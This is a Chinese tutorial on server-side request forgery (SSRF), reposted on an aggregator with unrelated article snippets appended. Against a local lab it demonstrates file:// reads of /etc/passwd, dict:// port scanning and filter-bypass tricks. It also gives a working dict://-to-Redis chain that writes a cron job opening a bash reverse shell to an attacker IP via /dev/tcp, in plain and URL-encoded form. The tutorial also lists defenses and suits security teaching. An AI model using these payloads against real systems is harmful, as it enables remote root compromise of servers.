[漏洞篇]SSRF漏洞详解

[漏洞篇]SSRF漏洞详解

免责声明: 本文主要讲解漏洞原理,以及防御手段,旨在帮助大家更好的了解漏洞危害,以及开发中所需要的点,切勿拿来做违法事情,否则后果自负。

一、介绍

概念

SSRF:服务端请求伪造,意思就是伪造服务器对内网中的其他服务发起攻击(冒充服务器身份与其他服务器通信,获取敏感信息,shell等)。

  • SSRF (全称:Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

  • 攻击者从外网通过 SSRF 攻击访问到内网,接着对内网的应用展开攻击,这些应用包括但不限于 MySQL,Redis,SMTP 等等

  • 与CSRF的区别及联系:

    1. SSRF:欺骗服务器“自己人”去干坏事。
    2. CSRF:欺骗浏览器“以你的名义”去干坏事。

在这里插入图片描述

危害

主要分为两个方向,SSRF 利用相关的危险函数;SSRF 可利用的协议操作

  • 高危:可穿透内网边界,导致内网渗透、数据泄露、远程代码执行(RCE)等。
  • 常见攻击场景:
    • 读取服务器本地文件(如 /etc/passwd)
    • 扫描内网服务(如: Redis、MySQL 未授权访问)
    • 访问云服务元数据(如 AWS/Aliyun 的 IAM 凭证)
    • 攻击内网应用(如 Jenkins、Kubernetes API)
    • 作为跳板发起DDoS攻击

原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定 URL 地址获取网页文本内容,加载指定地址的图片,下载等等。

触发条件:

  1. 服务端存在从客户端获取URL参数的接口
  2. 服务端直接使用该URL发起网络请求(如 HTTP、FTP、FILE、DICT 协议)
  3. 未对URL协议、目标地址、路径做严格过滤

二、实战演示

靶场搭建

  1. docker拉取并运行容器
# 使用docker搭建SSRF靶场
docker run -d -p 8765:80 8023/pikachu-expect:latest
  1. 访问:http://localhost:8765/
  2. 初始化靶场:
    在这里插入图片描述
  3. 点击安装/初始化:
    在这里插入图片描述

实战

Pass01:SSRF(curl)

  1. 左侧导航栏选择SSRF(curl)
    在这里插入图片描述
  2. 点击访问
    在这里插入图片描述
    在这里插入图片描述

这里将URL后面的127.0.0.1换成其他服务器IP也一样,只要是内网的服务IP

下面我们将针对CURL类型进行SSRF攻击:

1、通过网址访问链接

比如说修改url为:url=http://www.baidu.com,访问百度页面:
在这里插入图片描述
当然我们也可以通过此方式向内网中的其他服务发起GET请求。

2、利用file协议查看本地文件

修改url为:url=file:///etc/passwd,查看敏感文件的内容:
在这里插入图片描述

3、dict协议扫描内网主机开放端口

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说内网主机开了http端口的话,可以修改url为:url=dict://172.17.0.3:80

  • dict协议 是一种字典协议,常用于探测内网主机和端口开放情况。它可以执行一些服务的命令,如Redis

在这里插入图片描述

如果页面未反显内容则表示未开放对应端口或被拦截:
在这里插入图片描述

Pass02:file_get_content

进入第二关,我们可以发现本关是通过file协议来进行数据的获取。因此我们可以利用file协议进行攻击。
在这里插入图片描述

1、file读取本地文件

修改file为:file=file://etc/passwd,查看文件的内容:

在这里插入图片描述

2、http协议请求内网资源

这里请求内网其他机器的资源,修改file为:file=http://172.17.0.3/hack.html,查看文件的内容:

这里的内网资源是本地又搭建了一个docker nginx,因为docker搭建的容器默认会有一个共同docker网卡,刚好可以模拟内网资源。

# docker搭建nginx
docker pull nginx
docker run -d -p 8888:80 nginx
#更新apt镜像
apt update
#安装ifconfig命令,方便查看ip地址
apt install net-tools

在这里插入图片描述

SSRF反弹Shell

①环境准备
  1. 准备一台服务器(docker搭建也可),安装并运行redis
  2. redis需要关闭保护模式等
##允许所有IP访问(关闭保护模式)
bind 0.0.0.0
protected-mode no
  1. 准备一个攻击机器(我这里以我本地Mac为例),且与ssrf靶场和redis互通
  2. ssrf靶场(172.17.0.2)与redis(172.17.0.4)互通
②探测内网服务端口

根据常用端口进行探测,我这里以Redis 6379为例。可以看到下面页面返回OK,表示命令成功运行,表示ssrf靶场(172.17.0.2)可以与redis(172.17.0.4),处在同一个内网中。可以实施SSRF漏洞以反弹shell。

  • 我这里的localhost:8765实际访问的是docker的ssrf靶场(172.17.0.2)

在这里插入图片描述

③通过cron实现反弹shell
  1. 本地mac(攻击机)执行命令,监听端口
nc -lv 7777

在这里插入图片描述

  1. 通过dict协议验证是否可以正常执行redis命令

首先我们通过redis ping命令,发现dict协议可以执行redis命令并正常返回结果。
在这里插入图片描述

  1. 通过redis 备份文件+cron表达式实现核心反弹逻辑
# 1 利用SSRF漏洞:
攻击者通过Web应用的SSRF漏洞,诱使服务器向内部Redis服务发送恶意请求。
# 2 攻击Redis服务:
Redis未设置密码,允许远程执行命令。
通过Redis的CONFIG SET命令修改持久化目录和文件名,指向Cron任务目录(如/var/spool/cron/root)。
# 3 写入反弹Shell命令到Cron任务文件
配置Cron定时任务每分钟执行一次。
# 4 Cron定时任务触发反弹Shell:
Cron服务读取恶意任务文件,定时执行反弹Shell命令。目标服务器主动连接攻击机,建立反向Shell会话。
# 设置要操作的路径为定时任务目录
dict://172.17.0.4:6379/config set dir /var/spool/cron/crontabs # 在定时任务目录下创建 root 的定时任务文件
dict://172.17.0.4:6379/config set dbfilename root # 写入 Bash 反弹 shell 的payload (10.35.16.14为攻击机IP),如果执行失败,则对下面redis命令进行urlencode
# dict://172.17.0.4:6379/set x "\n* * * * * /bin/bash -l -c '/bin/bash -i >& /dev/tcp/10.35.16.14/7777 0>&1'\n" 
dict://172.17.0.4:6379/set+x+%22%5cn*+*+*+*+*+%2fbin%2fbash+-l+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f10.35.16.14%2f7777+0%3e%261%27%5cn%22+# 执行redis save备份数据命令,触发文件落地
dict://172.17.0.4:6379/save

拓展:

  • 反弹shell:假设你是一个黑客,目标服务器是一栋有保安(防火墙)的大楼。你想进入大楼,但保安禁止外人进入(防火墙阻挡外部主动连接)。于是你在大楼内安装一个“自动拨号器”(反弹Shell脚本),让它定时打电话到你的手机(攻击机IP+端口),建立一条秘密通话通道(Shell连接)。这样,保安不会阻止大楼内部主动拨出的电话,你就能远程控制大楼了。
  • 简单来说反弹shell:目标服务器主动连接攻击者的监听端口(绕过防火墙,常用于内网渗透)
  1. 查看Redis配置是否写入成功
    在这里插入图片描述
  2. 查看cron定时任务文件是否写入成功:
    在这里插入图片描述
  3. 等待cron定时任务运行(我上面配置的是每分钟执行一次),因此一分钟之后可以看到,反弹shell成功:
    在这里插入图片描述
    以root身份对服务器进行操作(创建文件,查看效果):
    在这里插入图片描述
    针对此情况,对应防御手段:
  1. Redis加固:设置强密码(requirepass)。
  2. 禁用高危命令( config set dir xxx)。
  3. 绑定IP(bind 127.0.0.1)。
  4. Cron防护:限制Cron任务目录权限(chmod 600 /var/spool/cron/*)。使用cron.allow和cron.deny控制用户权限。
  5. SSRF防御:禁用危险协议(allow_url_fopen=Off)。校验请求目标是否为合法域名/IP。

三、绕过手段

1.@符号绕过

在某地址1后添加@再次添加地址2,浏览器会自动返回地址2数据

http://www.xxx.com@www.baidu.com/

在这里插入图片描述

2.IP编码绕过

例如:120.26.86.156
二进制 = 1111000000110100101011010011100
十六进制 = 0x781A569C
十进制 = 2014992028

3. 转换短网址

例:
http://www.kxsy.work/ = http://www。kxsy。work/
localhost或者0.0.0.0

4. 302重定向跳转绕过

若传入的私网地址被限制可以使用302重定向绕过。这需要一台公网服务器和它的公网IP,在服务器中创建重定向的代码文件,提交公网IP路径下的重定向代码文件,使SSRF漏洞服务器或主机访问从而重定向到自己内网地址或本机地址。

  • 通过构造一个外部可控的重定向服务,让服务器在第一次校验URL合法性后,通过HTTP 302状态码跳转至内网目标地址。由于部分SSRF防护仅校验初始请求的URL,而未跟踪后续跳转,从而绕过限制

5. xip.io绕过:会将解析到子域

利用xip.io等动态DNS服务,将域名解析到任意IP地址。例如,10.0.0.1.xip.io会自动解析到10.0.0.1,从而绕过基于黑名单的IP过滤机制

6. 利用Enclosed alphanumerics绕过

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> http://example.com

7. 其他协议绕过(Dict、Gopher等)

配合File、GOPHER等协议的对目标进行信息探测。

例如使用非http协议:

  • gopher://:构造Redis未授权访问命令
  • dict://:探测端口服务

四、防御手段

1、过滤返回的信息

  • 禁止返回详细错误信息(如端口状态),避免信息泄露。
  • 对响应内容进行安全检查,防止敏感数据外传。

2、自定义端口的错误页面,避免被区分

3、限制端口/IP请求

4、 限制协议等

// Java示例:禁用file、gopher协议
System.setProperty("jdk.http.auth.proxying.disabledSchemes", "file gopher");

5、URL白名单访问资源

6. 服务降权

以非root用户运行服务进程,使用容器隔离(如Docker)

相关文章:
https://xz.aliyun.com/news/7001
https://blog.csdn.net/web22050702/article/details/145682941
https://www.gbsec.top/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/76199.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

nuscenes数据集分析

nuscenes数据集分析 标注与总体介绍 nuscenes包含有相机、激光雷达、毫米波雷达、IMU与GPS等设备提供的数据。它的数据采集了1000个场景,每个场景大约有20s,针对目标检测任务,对23类物体进行标注,且以2Hz的频率提供精确的三维目标…

JavaScript学习教程,从入门到精通,JavaScript 运算符及语法知识点详解(8)

JavaScript 运算符及语法知识点详解 一、JavaScript 运算符 1. 算术运算符 用于执行数学运算: 加法- 减法* 乘法/ 除法% 取模(余数) 递增-- 递减** 幂运算(ES6) let a 10, b 3; console.log(a b); // 13 conso…

Shell脚本的学习

编写脚本文件 定义以开头:#!/bin/bash #!用来声明脚本由什么shell解释,否则使用默认shel 第一步:编写脚本文件 #!/bin/bash #注释 echo "这是输出" 第二步:加上执行权限:chmod x 脚本文件名.sh 第三步&…

在线PDF文件拆分工具,小白工具功能实用操作简单,无需安装的文档处理工具

小白工具中的在线 PDF 文件拆分工具是一款功能实用、操作便捷的文档处理工具,以下是其具体介绍: 操作流程 上传 PDF 文档:打开小白工具在线PDF文件拆分工具 - 快速、免费拆分PDF文档 - 小白工具的在线 PDF 文件拆分页面,通过点击 …

数字的乘阶运算

求数字的乘阶: 例如:6的乘阶运算:6*5*4*3*2*1 例如:3的乘阶运算:3*2*1 class Program{static void Main(string[] args){Console.WriteLine("请输入数字:");int num_01 Convert.ToInt32 (Con…

tcp/ip攻击及防范

作为高防工程师,我每天拦截数以万计的恶意流量,其中TCP/IP协议层攻击是最隐蔽、最具破坏性的威胁之一。常见的攻击手法包括: 1. SYN Flood攻击:攻击者发送大量伪造的SYN包,耗尽服务器连接资源,导致正常用…

C++类成员内存分布详解

本文将探讨C类中成员变量的内存分布情况,包括普通成员、静态成员、虚函数等不同情况下的内存布局。 一、基本成员内存布局 1. 普通成员变量 普通成员变量按照声明顺序在内存中连续排列(受访问修饰符和内存对齐影响): class Nor…

计算机视觉——为什么 mAP 是目标检测的黄金标准

概述 在目标检测领域,有一个指标被广泛认为是衡量模型性能的“黄金标准”,它就是 mAP(Mean Average Precision,平均精确率均值)。如果你曾经接触过目标检测模型(如 YOLO、Faster R-CNN 或 SSD)…

C语言单链表的增删改补

目录 (一)单链表的结构定义及初始化 (二)单链表的尾插,头插 (三)单链表的尾删,头删 (四)单链表的查找,删除,销毁 单链表是数据结构课程里的第二个数据结构。单链表在逻辑结构是连续的,在物理…

Android10.0 framework第三方无源码APP读写断电后数据丢失问题解决

1.前言 在10.0中rom定制化开发中,在某些产品开发中,在某些情况下在App用FileOutputStream读写完毕后,突然断电 会出现写完的数据丢失的问题,接下来就需要分析下关于使用FileOutputStream读写数据的相关流程,来实现相关 功能 2.framework第三方无源码APP读写断电后数据丢…

杀戮尖塔(Slay The Spire) 的全新角色模组 - 女巫

女巫(The Witch) 杀戮尖塔(Slay The Spire) 的全新角色模组 女巫模组为游戏增添了超过 75 张新卡牌和 4 个全新遗物,围绕 诅咒(Curses) 展开独特的玩法体验。她的起始遗物 黑猫(Bl…

AI开发学习路线(闯关升级版)

以下是一份轻松版AI开发学习路线,用「闯关升级」的方式帮你从零开始变身AI开发者,每个阶段都配有有趣的任务和实用资源,保证不枯燥、可落地!👇 目录 🔰 新手村:打基础(1-2个月&…

迭代器模式深度解析与实战案例

一、模式定义 迭代器模式(Iterator Pattern) 是一种行为设计模式,提供一种方法顺序访问聚合对象的元素,无需暴露其底层表示。核心思想是将遍历逻辑从聚合对象中分离,实现 遍历与存储的解耦。 二、核心组件 组件作用…

SSH远程工具

一、常见SSH远程工具 工具开源跨平台多标签文件传输高级功能价格Xshell❌Win✔️✔️脚本、会话管理免费/商业版Tabby✔️全平台✔️✔️插件扩展免费MobaXterm❌Win✔️✔️集成工具集免费/付费SecureCRT❌Win/macOS/Linux✔️✔️企业级加密$129+PuTTY✔️全平台❌❌基础连接…

VUE中的路由处理

1.引入,预处理main.ts import {} from vue-router import { createRouter, createWebHistory } from vue-router import HomePages from @/pages/HomePages.vue import AboutPage from @/pages/AboutPage.vue import NewsPage from @/pages/NewsPage.vue //1. 配置路由规…

编程助手fitten code使用说明(超详细)(vscode)

这两年 AI 发展迅猛,作为开发人员,我们总是追求更快、更高效的工作方式,AI 的出现可以说改变了很多人的编程方式。 AI 对我们来说就是一个可靠的编程助手,给我们提供了实时的建议和解决方,无论是快速修复错误、提升代…

Opencv计算机视觉编程攻略-第九节 描述和匹配兴趣点

一般而言,如果一个物体在一幅图像中被检测到关键点,那么同一个物体在其他图像中也会检测到同一个关键点。图像匹配是关键点的常用功能之一,它的作用包括关联同一场景的两幅图像、检测图像中事物的发生地点等等。 1.局部模板匹配 凭单个像素就…

C++内存管理优化实战:提升应用性能与效率

🧑 博主简介:CSDN博客专家、CSDN平台优质创作者,高级开发工程师,数学专业,拥有高级工程师证书;擅长C/C、C#等开发语言,熟悉Java常用开发技术,能熟练应用常用数据库SQL server,Oracle…

17-产品经理-创建发布

点击“发布”-“创建发布”。 填写发布名称,选择测试的版本。还可以设置此次发布是否为“里程碑”。 点击“保存”后,进入该发布详情页面。需要为此次发布关联需求、已解决BUG、以及遗留BUG。可以通过设置条件,进行“搜索”,然后批…

Axure RP9.0教程 | 内联框架 对应html 元素中的iframe标签 (打开内部页面和外部网址)

文章目录 引言I 打开内部页面II 打开外部网址操作效果引言 应用场景: 选择右侧不同栏目,左侧内容发生变化 I 打开内部页面 在公用元件库中找到内联框架图标,将其拖到画布中,设置其宽、高;在右侧添加三个按钮,分别用来跳转三个不同的页面;在内部框架中,添加三个子页面,…